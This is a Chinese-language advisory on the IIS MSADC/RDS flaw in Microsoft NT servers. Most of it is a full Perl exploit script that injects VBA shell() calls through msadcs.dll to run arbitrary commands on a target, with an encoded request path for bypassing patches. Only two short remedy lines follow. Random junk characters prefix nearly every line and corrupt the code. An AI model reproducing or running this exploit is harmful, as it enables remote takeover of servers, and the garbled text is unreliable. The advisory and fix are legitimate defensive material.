IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
V*~Zs'L'E f7}*X|_Y 涉及程序：
C D8}I85 K Microsoft NT server
yq$,,#XDD= --DoB=5%8 描述：
%; D.vKoh 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b".L_Ma1* 7VP32Eh[ 详细：
N?.%?0l 如果你没有时间读详细内容的话，就删除:
M +x,opl c:\Program Files\Common Files\System\Msadc\msadcs.dll
aFLO{t r` 有关的安全问题就没有了。
5scEc,JCi t]e;;q=L. 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
9H%X2#:fH Gw1@ KKg 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
ZzX~&95G 关于利用ODBC远程漏洞的描述，请参看:
'PP #^aI, E6 WA}_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y a_<^O
9 nWHa .H# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
y\x + http://www.microsoft.com/security/bulletins/MS99-025faq.asp FKmFo^^0 znHnVY ll( 这里不再论述。
Hik3wPnp }C|dyyr 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
\W`w` o 5+wAzVA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5>TK^1
: 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
uDZT_c'Y Lup kr xV 0c# /hFn #将下面这段保存为txt文件，然后: "perl -x 文件名"
,tg0L$qC OiP!vn}k #!perl
r4#o+qE #
4f;HQ-Iv # MSADC/RDS 'usage' (aka exploit) script
-uy `!A #
RG4 sQ0 # by rain.forest.puppy
*H| M; G #
9tqF8pb7v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&sd}ulEg` # beta test and find errors!
H_Qs Nf , #kIr use Socket; use Getopt::Std;
f^.AD- getopts("e:vd:h:XR", \%args);
(zFi$ y? co| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^) s2$A:L x>J r_A( if (!defined $args{h} && !defined $args{R}) {
v 7x:dcV print qq~
C;vtY[} < Usage: msadc.pl -h <host> { -d <delay> -X -v }
pLzk -h <host> = host you want to scan (ip or domain)
HC}YY2 -d <seconds> = delay between calls, default 1 second
@Rw!'T -X = dump Index Server path table, if available
D N*t~Z3[ -v = verbose
=7o"u3hG -e = external dictionary file for step 5
1N>|yQz Ck|8qUz- Or a -R will resume a command session
t0T"@t# c 8M `#pN^ ~; exit;}
e [#j.|m ok4@N @ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'^"6+ k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7?%k7f if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Zc`BiLzrIG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
g'm+/pU)w) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A, LuD.8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[ n$BRk| =Fr(9 ( if (!defined $args{R}){ $ret = &has_msadc;
s K5r$Dbr die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
M%0C_=zg gE?| _x # print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n0e1k.A . "cmd /c ";
w2'f/ $in=<STDIN>; chomp $in;
w L:flH@ $command="cmd /c " . $in ;
`u&Zrdr , ?C A, if (defined $args{R}) {&load; exit;}
~'CE[G5 <>aw
1WM+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?I~()]k5 &try_btcustmr;
m~-K[+ya`D &b fA.&
` print "\nStep 2: Trying to make our own DSN...";
2-Ej 4I~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
u /\EtSH U_n9]Z print "\nStep 3: Trying known DSNs...";
I
,z3xU &known_dsn;
\}"$ ?d'f P<a)25be/ print "\nStep 4: Trying known .mdbs...";
:i . { &known_mdb;
^Uf]Q$uCjE f>UXD if (defined $args{e}){
hUp.tK:X7o print "\nStep 5: Trying dictionary of DSN names...";
z;|A(*Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
K+3IWZ&+dG $4 S@ print "Sorry Charley...maybe next time?\n";
|m^k_d!d exit;
BlA_.]Sg$ @c;|G$E@3 ##############################################################################
4hTMbS_; $',K7%y sub sendraw { # ripped and modded from whisker
K,:cJ sleep($delay); # it's a DoS on the server! At least on mine...
)quM4=u' my ($pstr)=@_;
IpcNuZo9& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
yl7&5)b#9 die("Socket problems\n");
mR?5G: W~R if(connect(S,pack "SnA4x8",2,80,$target)){
{ +
Zd*)M[ select(S); $|=1;
e}
P I^bc print $pstr; my @in=<S>;
LIvFx | select(STDOUT); close(S);
pgQV / 6 return @in;
Af'" 6BS } else { die("Can't connect...\n"); }}
XF;ES3 d -y8`yHb_ ##############################################################################
)GM41t1i =WyZX 7@R sub make_header { # make the HTTP request
b`~p.c%( my $msadc=<<EOT
,D]QxbwZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#t: S.A@ User-Agent: ACTIVEDATA
S||}nJ0 Host: $ip
<b`E_ Content-Length: $clen
hRrn$BdLX Connection: Keep-Alive
+zaA,e?\ V C2 4sU ADCClientVersion:01.06
smRE!f *q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C/vI EYG4 $o0 iLFIX/ --!ADM!ROX!YOUR!WORLD!
W JkZ!O$"j Content-Type: application/x-varg
-EkWs/'h Content-Length: $reqlen
T`\x,`
^ VC\ S'z EOT
$Q96,rb}k; ; $msadc=~s/\n/\r\n/g;
u'|4?"uz return $msadc;}
;CmS ~K: cDFO; Dr ##############################################################################
1 u| wMO aW WU4xe sub make_req { # make the RDS request
TDFkxB> my ($switch, $p1, $p2)=@_;
Po__-xN>Q my $req=""; my $t1, $t2, $query, $dsn;
i|w81p^o h_:C+)13`x if ($switch==1){ # this is the btcustmr.mdb query
Gb#Cm] $query="Select * from Customers where City=" . make_shell();
>VP= MbN $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6K-_pg] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<a cUKfpY Xm%D><CC8" elsif ($switch==2){ # this is general make table query
E .7 $query="create table AZZ (B int, C varchar(10))";
=BSzsH7 $dsn="$p1";}
1zm u lj%& (@ <lRA
^ elsif ($switch==3){ # this is general exploit table query
# {?PbBE} $query="select * from AZZ where C=" . make_shell();
%Y<| ; 0v $dsn="$p1";}
FT#8L _=Z, E.EN elsif ($switch==4){ # attempt to hork file info from index server
OGde00 $query="select path from scope()";
2N~Fg^xB $dsn="Provider=MSIDXS;";}
T>}5:,N~ Szq/hv=Q elsif ($switch==5){ # bad query
-+ S F $query="select";
0B@SN)<kH $dsn="$p1";}
C([phT ; qq) rd $t1= make_unicode($query);
k2c}3 MeP $t2= make_unicode($dsn);
%W%9j#!aN $req = "\x02\x00\x03\x00";
^?cz,N~ $req.= "\x08\x00" . pack ("S1", length($t1));
Gn|F`F $req.= "\x00\x00" . $t1 ;
{sihus#Q $req.= "\x08\x00" . pack ("S1", length($t2));
-=)+dCyB^ $req.= "\x00\x00" . $t2 ;
hd>aZ"nm1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
#MX'^RZ>2 return $req;}
VL% U R{ S{P JUAu ##############################################################################
?EJD?,} so"$m sub make_shell { # this makes the shell() statement
Ss~;m']68 return "'|shell(\"$command\")|'";}
$ACvV "b qfL~Wp2E; ##############################################################################
|]J>R 9K5pwC\$% sub make_unicode { # quick little function to convert to unicode
'oF%,4 !Y my ($in)=@_; my $out;
0Fk5kGD,&K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
u.mJQDTH return $out;}
qUjmB sB zm]aU`j ##############################################################################
i`Q KH !lf|7 sub rdo_success { # checks for RDO return success (this is kludge)
e\Y*F my (@in) = @_; my $base=content_start(@in);
)2V: if($in[$base]=~/multipart\/mixed/){
zo +nq%= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3a?o3= return 0;}
\R|4( +]x 8Eakif0CO ##############################################################################
B8B; y^b>i rM .|1(u sub make_dsn { # this makes a DSN for us
o_@4Sl8 my @drives=("c","d","e","f");
~i~7 n a| print "\nMaking DSN: ";
#0ETY\}ZD foreach $drive (@drives) {
"}pNe"ok print "$drive: ";
1u:
gFUb my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
PV9p a/`@ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
i\KQ!f>A . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4*Q#0`um $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<\NY<QIwFw return 0 if $2 eq "404"; # not found/doesn't exist
@!`Xl*l if($2 eq "200") {
oASY7k_3 foreach $line (@results) {
V'kX) $ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{$R' WXVs } return 0;}
POvP]G9'" 2^^`n1?' ##############################################################################
p?B= 1vn-2 B[V+ND'( sub verify_exists {
kPVO?uO my ($page)=@_;
t ^6dzrF my @results=sendraw("GET $page HTTP/1.0\n\n");
U@-^C"R return $results[0];}
!q9+9 *6 J@4 Bf
##############################################################################
w * oeK c2&q*]?l; sub try_btcustmr {
:/ Q my @drives=("c","d","e","f");
%] >KvoA my @dirs=("winnt","winnt35","winnt351","win","windows");
oJ4 AIQjB ~nrK>% foreach $dir (@dirs) {
MFb9H{LA print "$dir -> "; # fun status so you can see progress
H`0|tep z foreach $drive (@drives) {
huJ&]"C print "$drive: "; # ditto
kg'o&^/= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Z/t+8;TMR, $reqlenlen=length( "$reqlen" );
E d_N[ I
$clen= 206 + $reqlenlen + $reqlen;
*q()f\ ,6om\9.E@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Nd zSz]q} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
CC L else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8=gjY\D p
[N/"5
[ ##############################################################################
`[W[H(AjQ \=6l9Lrj>h sub odbc_error {
i'#E ) my (@in)=@_; my $base;
mGJ asn my $base = content_start(@in);
\3pc "^W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R' C2o] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
go'-5 in( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%O! v "Xh $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T`5 bZu^c return $in[$base+4].$in[$base+5].$in[$base+6];}
Mz~M3$$9n print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w-Da~[J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
><gG8MH0' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
v
8$>r wB 0cJWJOj& ##############################################################################
no<
^f]33 ~ xft sub verbose {
Ry%Mej: my ($in)=@_;
]Bjyi[#bg return if !$verbose;
"4uS3h2r print STDOUT "\n$in\n";}
0@H|n^Md# m^GJuP LW ##############################################################################
:}@g6 1T-8K
r sub save {
o]; [R my ($p1, $p2, $p3, $p4)=@_;
/ .W w6a~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;|vpwB@B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?e,pN,4 close OUT;}
"a8j"lPJ E )5E$ ##############################################################################
FRg^c
kb" XT@-$%u sub load {
Z;:u'= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
eC[$B99\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
oAP b*;} @p=<IN>; close(IN);
<;#~l* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
V&Xe!S $target= inet_aton($ip) || die("inet_aton problems");
m0c P ( print "Resuming to $ip ...";
;uw Ryd $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
YRh B RE if($p[1]==1) {
v(EEG/~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
k;w- E $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
6y6<JR-V2k my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QrYpZZ; if (rdo_success(@results)){print "Success!\n";}
~ ; -! n; else { print "failed\n"; verbose(odbc_error(@results));}}
pBETA'fY elsif ($p[1]==3){
20Z8HwQi if(run_query("$p[3]")){
IF DZf x print "Success!\n";} else { print "failed\n"; }}
}MHCd)78b elsif ($p[1]==4){
=
Wu
*+paQ if(run_query($drvst . "$p[3]")){
r9
!Tug*>m print "Success!\n"; } else { print "failed\n"; }}
/4 vG3 exit;}
1$%V{4bJ )w0 AC"2O~ ##############################################################################
+=.W<b A9kzq_ 3 sub create_table {
qU#BJON]BR my ($in)=@_;
uwjGDw $reqlen=length( make_req(2,$in,"") ) - 28;
8[J}CdS $reqlenlen=length( "$reqlen" );
7LU}Iiv $clen= 206 + $reqlenlen + $reqlen;
j &
<i& my @results=sendraw(make_header() . make_req(2,$in,""));
!kE-_dY6) return 1 if rdo_success(@results);
aEW WF N my $temp= odbc_error(@results); verbose($temp);
FKT1fv[H return 1 if $temp=~/Table 'AZZ' already exists/;
qt;y2gf= return 0;}
"Q?k'^@
8 `f jF/ ##############################################################################
:@!ic<p e{v=MxO= S sub known_dsn {
&'DU0c& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
mGGsB5#w> my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
TH$N5w% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
d\ ~QBr? "banner", "banners", "ads", "ADCDemo", "ADCTest");
o4zM) \;F tc!wLnhG foreach $dSn (@dsns) {
"B8"_D& print ".";
V` 7FKL@" next if (!is_access("DSN=$dSn"));
#*g5u{k'P if(create_table("DSN=$dSn")){
'I /aboDB print "$dSn successful\n";
M>>qn_yq4 if(run_query("DSN=$dSn")){
=@8H"&y` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%B)6$!x print "Something's borked. Use verbose next time\n";}}} print "\n";}
EB_NK y(=#WlK } ##############################################################################
BYo/57&: ul ER1\W sub is_access {
OLvcivf my ($in)=@_;
ZU9c 5/J $reqlen=length( make_req(5,$in,"") ) - 28;
E)9yH\$6 $reqlenlen=length( "$reqlen" );
kr9g K~ $clen= 206 + $reqlenlen + $reqlen;
jvV9eA:zl my @results=sendraw(make_header() . make_req(5,$in,""));
Z t&6Ua[Y} my $temp= odbc_error(@results);
P7 x = verbose($temp); return 1 if ($temp=~/Microsoft Access/);
eU N"w,@y return 0;}
p IKSs<IP 0`I-2M4F*Q ##############################################################################
XxaGp95so "luR9l,RRE sub run_query {
yH<$k^0r* my ($in)=@_;
, E$ @=1) $reqlen=length( make_req(3,$in,"") ) - 28;
60)iw4<wf $reqlenlen=length( "$reqlen" );
]Bm>-*@0N $clen= 206 + $reqlenlen + $reqlen;
F|HJH"2*&q my @results=sendraw(make_header() . make_req(3,$in,""));
_ %x4ty return 1 if rdo_success(@results);
X K5<Tg my $temp= odbc_error(@results); verbose($temp);
)
9oH,gZ return 0;}
1 `7<2w ;_(PVo ##############################################################################
JMS(9>+TA 3tmdi 3s sub known_mdb {
b Lnrbid my @drives=("c","d","e","f","g");
/^ " 83?_ my @dirs=("winnt","winnt35","winnt351","win","windows");
nWvu aQ0} my $dir, $drive, $mdb;
N|Sf=q?Ko my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P@]8pIB0d^ 7'-j %!#w # this is sparse, because I don't know of many
wM _
6{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
R+~cl;#G6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
wO>L#"X^v "\\system32\\certmdb.mdb",
Ol')7d& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
c0Dmq)HK? :v L1}H< my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
OGrB UP "\\cfusion\\cfapps\\forums\\forums_.mdb",
.Xd j(_& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8V-\e?&^ "\\cfusion\\cfapps\\security\\realm_.mdb",
JN FIT;L "\\cfusion\\cfapps\\security\\data\\realm.mdb",
G8I Y# "\\cfusion\\database\\cfexamples.mdb",
S', 9g4(5 "\\cfusion\\database\\cfsnippets.mdb",
&|<xqt "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
b`_w ])Y@ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
vwr74A.g0 "\\cfusion\\brighttiger\\database\\cleam.mdb",
R4<lln:[ "\\cfusion\\database\\smpolicy.mdb",
<q,+ON\' "\\cfusion\\database\cypress.mdb",
a0*2) uL} "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RA jkH` "\\website\\cgi-win\\dbsample.mdb",
do-c1;M "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
d xj*Q "K "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
;p ]y)3 ); #these are just
{F I\~ q foreach $drive (@drives) {
b%t+,0s| foreach $dir (@dirs){
3g~^LZ66 foreach $mdb (@sysmdbs) {
?R5'#|EyX print ".";
D0;tcm.$ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
~B$b)`* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0"g@!gSrQ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
PVa o print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@+_&Y] } else { print "Something's borked. Use verbose next time\n"; }}}}}
> 4oY 3wk8 &&L"&Rc foreach $drive (@drives) {
/dDzZ%/@ foreach $mdb (@mdbs) {
@gSkROCdC) print ".";
0v^: if(create_table($drv . $drive . $dir . $mdb)){
9zgNjjCl] print "\n" . $drive . $dir . $mdb . " successful\n";
iQ^:
])m> if(run_query($drv . $drive . $dir . $mdb)){
CDp8)=WJFF print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
xaXV ^ZM3 } else { print "Something's borked. Use verbose next time\n"; }}}}
Kj*m r%IaU }
DY> <qk Um
;kd&#x ##############################################################################
a@|.;#FF g'G8 3F sub hork_idx {
MM_py!=>7 print "\nAttempting to dump Index Server tables...\n";
4/L>&%8V print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Zd>Z Y,-5 $reqlen=length( make_req(4,"","") ) - 28;
-,>:DUN2 $reqlenlen=length( "$reqlen" );
y'rN5J:l $clen= 206 + $reqlenlen + $reqlen;
R^9"N?Q7;` my @results=sendraw2(make_header() . make_req(4,"",""));
WzG07 2w if (rdo_success(@results)){
N^@
\tg = my $max=@results; my $c; my %d;
vug-n 8 for($c=19; $c<$max; $c++){
-fM1$/] $results[$c]=~s/\x00//g;
Am7| / $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h Z#\t $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
EW5]!% $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
| ' @[N, $d{"$1$2"}="";}
Xr2J:1pgg foreach $c (keys %d){ print "$c\n"; }
3 Vu8F" } else {print "Index server doesn't seem to be installed.\n"; }}
OQ| ,- gY\mXM*^ ##############################################################################
m9g^ -X ^%zNa6B L sub dsn_dict {
pU[K%@sC open(IN, "<$args{e}") || die("Can't open external dictionary\n");
")\ *2d while(<IN>){
l-=e62I{=| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/a%KS3>V* next if (!is_access("DSN=$dSn"));
14u^[M" U if(create_table("DSN=$dSn")){
j}RM. C\7 print "$dSn successful\n";
Z`"n:'& if(run_query("DSN=$dSn")){
Ey = 4 b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
o? =fhc print "Something's borked. Use verbose next time\n";}}}
S W-0h4 print "\n"; close(IN);}
mE_iS?1 J<-Fua^ ##############################################################################
Ris-tdg T ;%+ ]:w< sub sendraw2 { # ripped and modded from whisker
[R$liN99z; sleep($delay); # it's a DoS on the server! At least on mine...
I ,z"_[^G my ($pstr)=@_;
Q5T(nEA socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
"
xxXZGUp die("Socket problems\n");
wJr/FE 7c if(connect(S,pack "SnA4x8",2,80,$target)){
k#-[ M.i print "Connected. Getting data";
:`j"Sj !t3 open(OUT,">raw.out"); my @in;
'iDu0LX select(S); $|=1; print $pstr;
{!tOI while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
'&{(:,!B close(OUT); select(STDOUT); close(S); return @in;
OT"lP(, } else { die("Can't connect...\n"); }}
R =QM; @]yQJuXA&Z ##############################################################################
9`E-dr9 L7[X|zmy*x sub content_start { # this will take in the server headers
=1_j aDp my (@in)=@_; my $c;
UFJEs[?+Te for ($c=1;$c<500;$c++) {
q
w"e0q% ) if($in[$c] =~/^\x0d\x0a/){
w`"W 3( if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(2 mS v else { return $c+1; }}}
M!{Rq1M return -1;} # it should never get here actually
MEDskvBG 8g&uE*7N ##############################################################################
t a2 z x%ZiE5# sub funky {
Rf&^th}TH my (@in)=@_; my $error=odbc_error(@in);
jWz |K if($error=~/ADO could not find the specified provider/){
C[^a/ P`i print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5 ,g$|,Shv exit;}
QZ_nQ3K if($error=~/A Handler is required/){
X/K| WOO6 print "\nServer has custom handler filters (they most likely are patched)\n";
Pau&4h0 exit;}
_zAc 5rS if($error=~/specified Handler has denied Access/){
6eV e}V4W print "\nServer has custom handler filters (they most likely are patched)\n";
InTKdr^ P exit;}}
AJdlqbd'+ i,\t]EJAU ##############################################################################
D}3cW2!9 `1DU b7< sub has_msadc {
W\z L my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p=je"{ my $base=content_start(@results);
a .B\=3xn return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
jCdZ}M($ return 0;}
a'( lVZA; 9 ~*_(yjF ########################
~6pCOS} #<^/yoH7C6 n$A(6]z5O 解决方案：
b3jU~L$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
P<g|y4h 2、移除web 目录: /msadc
